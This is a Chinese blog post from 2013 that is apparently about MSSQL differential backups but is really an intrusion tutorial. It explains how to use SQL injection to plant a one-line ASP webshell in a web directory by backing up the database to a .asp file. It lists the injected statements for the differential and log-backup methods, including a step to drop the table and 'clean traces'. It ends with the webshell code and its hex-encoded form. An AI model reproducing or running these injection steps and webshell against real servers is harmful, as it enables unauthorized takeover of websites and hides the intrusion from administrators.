MSSQL差异备份使用技巧
15 Apr 2013
所谓的差异备份,就是只备份最近一次备份之后到此次备份之前所增加的那一部分数据。打个比方我第N次备份后数据库存放的内容是ABCD,然后我第N+1次 备份的时候使用差异备份,此时数据库的存放的内容是ABCDEFG。那么我差异备份的结果就是EFG,只备份增加量。都明白了我们就开始讲点有用的东西 啦,嘿嘿~~为什么要用差异备份呢?因为规模点的网站数据库一般有几十M甚至,那么你备份出来的数据就有几十M,然后你从WEB上打开个几十M内容文件的 话……估计要很久吧。这么入侵的话我觉得你还是直接拿刀找网管让他把后台密码给你好了。再者我们备份的一句话木马会受到影响,如果数据库中存在《或者%之 类的字符的话。可能导致我们小马无法访问。还有就是备份那么大的数据库可能会导致脚本操作超时,所以我们得尽量减少我们备份出来的数据库的大小。
我们来介绍下SQL的备份语句: BACKUP DATABASE (表示你要备份的数据库名) TO DISK='*'(表示你要备份的数据库路径)WITH DIFFERENTIAL(告诉数据库你要进行差异备份,如果没有WITHDIFFERENTIAL则进行完整备份) 举个例子,比如我们知道了WEB服务器的物理路径 D:\WEB,服务器的数据库名为XXX 那么如果我们将一个一句话木马插入数据库中(后面讲到)然后备份数据库,具体语句如下 BACKUP DATABASE??XXX TO DISK='D:\WEB\AY.ASP' WITH DIFFERENTIAL 注意到D:\WEB\AY.ASP没有,意思就是说把数据库备份到WEB目录下而且数据库备份文件名为AY.ASP,可喜的是 AY.ASP这个文件中存在我们的一句话木马语句,当服务器遇到ASP后缀名的文件时会对该文件进行ASP解析,ASP解析的原则是遇到<%开始解 析,%>结束解析。比如我们向数据库中插入一句话木马,这个时候我们插入的数据是新增的数据,然后用差异备份备份一个ASP文件到WEB目录下。那 么这个ASP文件下就会存在我们的木马内容了。
?
首先我们需要注入的数据库类型是MSSQL的,而且这个数据库的连接权限必须是DB_OWNER的权限(一般MSSQL数据库网站都是这个权限的)。
先介绍数据库差异备份的方法:
URL;create table ay(ay1 image)--
//新建一个名为AY的表 表内存在名为AY1的图象类型的字段
URL;backup database 数据库名 to disk='物理路径' with DIFFERENTIAL--
//注意,这次备份是要减小数据库的备份量
URL;insert into ay(ay1) values ('一句话木马')--
//向你新建的表中插入一句话木马内容
URL;backup database 数据库名 to disk='物理路径'with DIFFERENTIAL--
//备份数据库到WEB目录下
URL;drop table ay--
//删除表名,清理痕迹
然后是log差异备份的方法:
URL';alter database 数据库名 set RECOVERY FULL--
//(把SQL设置成完全恢复模式)
URL';create table cmd (a image)--
//(新建立一个cmd表)
URL';backup log 数据库名 to disk ='文件地址' with init --
//(减少备份数据的大小)
URL';insert into cmd (a) values ('一句话木马') --
//(插入一句话木马)
URL';backup log 数据库名 to disk ='文件地址' --
//(备份X志到WEB路径)
URL';drop table cmd--
//(删除新建的cmd表)
奉上一个asp一句话: <%eval(request("#"))%>
十六进制形式: 0x3C256576616C2872657175657374282223222929253E